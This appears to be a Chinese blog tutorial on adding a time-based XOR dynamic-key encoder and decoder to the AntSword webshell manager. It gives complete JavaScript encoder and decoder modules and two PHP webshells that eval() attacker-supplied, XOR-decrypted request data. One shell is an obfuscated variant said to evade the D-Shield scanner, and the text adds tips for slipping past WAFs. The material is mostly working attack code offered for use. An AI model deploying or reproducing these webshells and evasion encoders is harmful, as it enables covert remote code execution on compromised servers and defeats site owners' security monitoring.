蚁剑实现动态秘钥编码器解码器
字数 968 2025-08-26 22:11:56
蚁剑动态秘钥编码器与解码器实现指南
前言
本教程详细讲解如何为蚁剑实现动态秘钥编码器与解码器,解决在PHP环境未开启openssl扩展时无法使用强加密类型编码器的问题。该方法借鉴了冰蝎的思路,通过时间生成动态秘钥实现加密通信。
背景与问题
- 蚁剑PHP的RSA和AES编码器需要openssl扩展支持
- 大多数PHP环境默认不开启openssl扩展
- 需要一种不依赖openssl的加密通信方案
技术原理
冰蝎的解决方案
冰蝎2.0版本通过以下方式解决无openssl问题:
- 使用随机生成的16位MD5值作为密钥
- 通过异或(XOR)操作实现简单加密
- 密钥通过两次请求握手传递(第一次获取,第二次使用)
蚁剑改进方案
冰蝎方案的问题:
- 握手过程容易被WAF检测
- 需要两次请求效率较低
改进思路:
- 使用时间作为动态密钥来源
- 采用"年-月-日 时:分"格式确保时间同步
- 对时间进行MD5哈希生成32位密钥
- 使用异或操作实现加密
实现细节
动态秘钥生成
- 时间格式:
yyyy-MM-dd hh:mm(24小时制) - 时区设置:PRC(中国时区)
- 密钥生成:
md5(date("Y-m-d H:i",time()))
编码器实现
'use strict';
// code by yzddmr6
module.exports = (pwd, data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
// 自定义日期格式化方法
Object.assign(Date.prototype, {
switch(time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
// 格式化处理
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear()).toString().substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function(i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] = date[i] < 10 ? '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
});
return time;
}
});
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex');
key = key.split("").map(t => t.charCodeAt(0));
let cipher = payload.split("").map(t => t.charCodeAt(0));
for(let i=0; i<cipher.length; i++){
cipher[i] = cipher[i] ^ key[i%32];
}
cipher = cipher.map(t => String.fromCharCode(t)).join("");
cipher = Buffer.from(cipher).toString('base64');
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd] = xor(data[pwd]);
delete data['_'];
return data;
}
解码器实现
'use strict';
// code by yzddmr6
module.exports = {
asoutput: () => {
return `function asenc($out){
date_default_timezone_set("PRC");
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($out);$i++){
$out[$i] = $out[$i] ^ $key[$i%32];
}
return @base64_encode($out);
}`.replace(/\n\s+/g, '');
},
decode_buff: (data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
// 相同的日期格式化方法
// ...(与编码器相同)
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex');
key = key.split("").map(t => t.charCodeAt(0));
let cipher = Buffer.from(data.toString(), 'base64').toString();
cipher = cipher.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 32];
}
cipher = cipher.map(t => String.fromCharCode(t)).join("");
return cipher;
}
return xor(data);
}
}
PHP服务端实现
基础版本:
<?php
date_default_timezone_set("PRC");
@$post = base64_decode($_REQUEST['yzddmr6']);
$key = md5(date("Y-m-d H:i", time()));
for($i=0; $i<strlen($post); $i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>
免杀版本(D盾4级):
<?php
date_default_timezone_set("PRC");
$key = md5(date("Y-m-d H:i", time()));
class TEST{
function encode($key){
@$post = base64_decode($_REQUEST['test']);
for($i=0; $i<strlen($post); $i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
return $post;
}
function ant($data) {
return eval($this->encode($data));
}
}
$test = new TEST;
$test->ant($key);
?>
使用说明
- 在蚁剑中新建编码器和解码器
- 将上述代码复制到相应位置
- 配置使用:
- 可以同时使用动态秘钥编码器和解码器
- 也可以只使用编码器,配合其他解码器(如base64)
- 推荐组合:动态秘钥编码器 + base64解码器
注意事项
- 时区必须一致(客户端和服务端都设置为PRC)
- 中文可能会出现乱码问题(解码器问题)
- 时间格式可以自定义修改以提高安全性
- 蚁剑默认payload的其他参数只是base64编码,可能被检测
高级定制
-
修改时间格式增强隐蔽性:
- 例如:"dd-yy-MM hh:mm"或"MM-dd-yy hh:mm"
- 在编码器的
switch方法中修改格式字符串
-
添加盐值增强安全性:
let time = newDate.switch('yyyy-MM-dd hh:mm') + "your_salt"; -
修改蚁剑硬编码payload以避免检测
总结
通过本方案可以实现:
- 不依赖openssl扩展的加密通信
- 无需握手过程的动态密钥交换
- 较高的隐蔽性和免杀能力
- 灵活的定制选项
这种方法虽然简单,但能有效绕过大多数WAF检测,适合在openssl不可用的环境中使用。